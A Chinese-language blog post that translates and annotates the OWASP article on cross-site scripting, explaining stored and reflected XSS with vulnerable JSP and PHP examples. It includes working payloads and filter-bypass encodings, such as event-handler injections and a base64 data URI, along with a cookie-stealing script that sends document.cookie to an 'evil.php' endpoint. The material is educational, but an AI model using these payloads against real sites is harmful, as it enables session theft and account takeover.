xss(owasp)

10 篇文章 0 订阅
3 篇文章 0 订阅

原文
Cross Site Scripting (XSS)
跨站脚本攻击

概述

xss是注入攻击的一种,它将恶意脚本注入到可信任的网站中。xss攻击在攻击者使用web应用发送恶意代码时(通常以浏览器脚本的形式)给其他用户时发生。产生此漏洞的地方非常多,且web应用在其未经验证的输出中使用来自用户的输入时的任何地方均会发生。

攻击者可以使用xss发送恶意脚本给用户。客户端的浏览器没办法知道此脚本不受信任,并将执行此脚本。因为它认为此脚本来自来可信的资源,恶意脚本能够访问任何cookies、会话令牌或其他有关浏览器和用户对于此网站的敏感信息。一些脚本甚至可以重写html页面的内容。关于xss漏洞其他类型的更多细节,访问此链接

描述

当以下情况的时候,xss攻击发生:

  1. 输入通过可信任源进入web应用(通常是web请求)
  2. 此数据被动态内容包含,它被发送给web用户,未经过恶意内容的检测。

发送到web浏览器的恶意内容通常采用一段js代码的形式,但也可能包含html、Flash或其他浏览器可能执行的代码。基于xss攻击的种类几乎是无限的,但它们通常含有传输个人数据(类似cookies或其他会话信息)给攻击者或在用户主机上执行其他恶意操作。

存储型和反射型xss

xss攻击通常能分为两类,存储型和反射型。存在第三类,比较少知道的类型叫基于DOM的xss,在此链接讨论。

存储型xss
存储型xss的注入脚本会永远的保存在目标服务器中,比如数据库、论坛、游客记录、评论区等。用户在请求服务器中存储的信息时,会检索到恶意脚本。

反射型xss
反射型的注入脚本由网站反射回来,比如一个错误信息、搜索结果或其他包含输入内容的响应包。反射型xss传递给用户是通过其他方式,比如e-mail或其他网站。当用户被诱导去点击恶意链接(提交特制的表单)或甚至知识浏览一个恶意的网站,注入代码传递到网站中,该网站返回给用户攻击代码。然后浏览器执行此代码(因为它来自可信的服务器)。


略一部分内容


其他xss语法

xss在属性中使用脚本
xss攻击可能在没用<script>...</script>时执行。其他标签能做到同意的事情,比如<body onload=alert('test1')>或其他属性,像:onmouseover,onerror

<b onmouseover=alert('Wufff!')>click me!</b>
<img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);>

xss通过URI编码使用脚本
如果我们需要绕过web应用的过滤,我们可以尝试编码字符串,如a=&#X41 (UTF-8),并在img标签中使用它

<IMG SRC=j&#X41vascript:alert('test2')>

实际本地测试的时候发现img标签已经无法在chrome以及firefox上进行xss了,如图
在这里插入图片描述
在这里插入图片描述

无任何弹窗,但是编码成功转换了。
同时发现只有等号后面的属性内容值才能够转换,等号前的属性名无法转换
在这里插入图片描述
在这里插入图片描述
使用其他方式来通过编码触发xss可行
在这里插入图片描述
在这里插入图片描述
顺便在这里插入图片描述
可以查看此
或者在线搜索http://www.mytju.com/classcode/tools/encode_utf8.asp

XSS使用代码编码
我们可以使用base64编码我们的脚本,并且将它放到meta标签中。这样alert()就可以被编码而不是原文出现了。

<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">

Examples

可能发生在任何可能允许恶意用户将不受管制的材料发布到受信任的网站的地方。
最常见的例子可以在基于web的邮件列表央视功能的公告板网站中找到。

example 1
下面的jsp代码段从http请求中读取员工ID(eid),并展示给用户。

<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>

如果eid仅包含标准定字母数字文本,则此例子正常运行。如果eid包含meta标签或源码,则代码会被浏览器所执行。
首先,这个可能不是一个很大的漏洞。**毕竟,怎么有人会输入引起恶意代码的url在他们自己的主机上呢?真正的危害在于,攻击者能够构建恶意url,然后使用e-mail或者社工去诱导用户查看此URL。**当用户点击此连接,他们不知不觉执行了恶意内容。这种利用机制叫做反射型xss。

example 2
以下jsp代码片段用员工id向数据库查询员工名字。

<%...
 Statement stmt = conn.createStatement();
 ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
 if (rs != null) {
  rs.next();
  String name = rs.getString("name");
%>

Employee Name: <%= name %>

这个代码看上去没example 1危险,因为name的值是从数据库中读出。但是name的值也能由用户修改。数据库中的数据没有合适的输入校验,攻击者就能执行通过它在用户浏览器执行命令。这种类型叫做存储型xss。

攻击例子
example 1:获取cookie
如果网站没校验输入,则攻击者可以轻易偷取cookie。所有攻击者可以将以下代码放在任何提交的输入中(如留言板,私人留言,用户个人资料)

<SCRIPT type="text/javascript">
var adr = '../evil.php?cakemonster=' + escape(document.cookie);
</SCRIPT>

错误页面例子
假设我们有个错误页面,当请求不存在页面就会弹出,一个经典404页面。我们可以使用以下代码(举例)去提醒用户页面没找到。

<html>
<body>
<? php
print "Not found: " . urldecode($_SERVER["REQUEST_URI"]);
?>

</body>
</html>

http://testsite.test/file_which_not_exist的响应中,我们得到 Not found: /file_which_not_exist
我们现在尝试使错误页面包含我们的代码

http://testsite.test/<script>alert("TEST");</script> 

结果:

Not found: / 

(但是有 JavaScript code <script>alert(“TEST”);</script>)

小结

xss反射型和存储型很容易理解,唯一难点在于实际中找出漏洞。本文感觉能获得的经验也就最后一段,获取cookie的方法,以及error页面也有可能引起xss这两点。
其次就是xss的一些绕过方法,比如utf-8加密,编码绕过

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值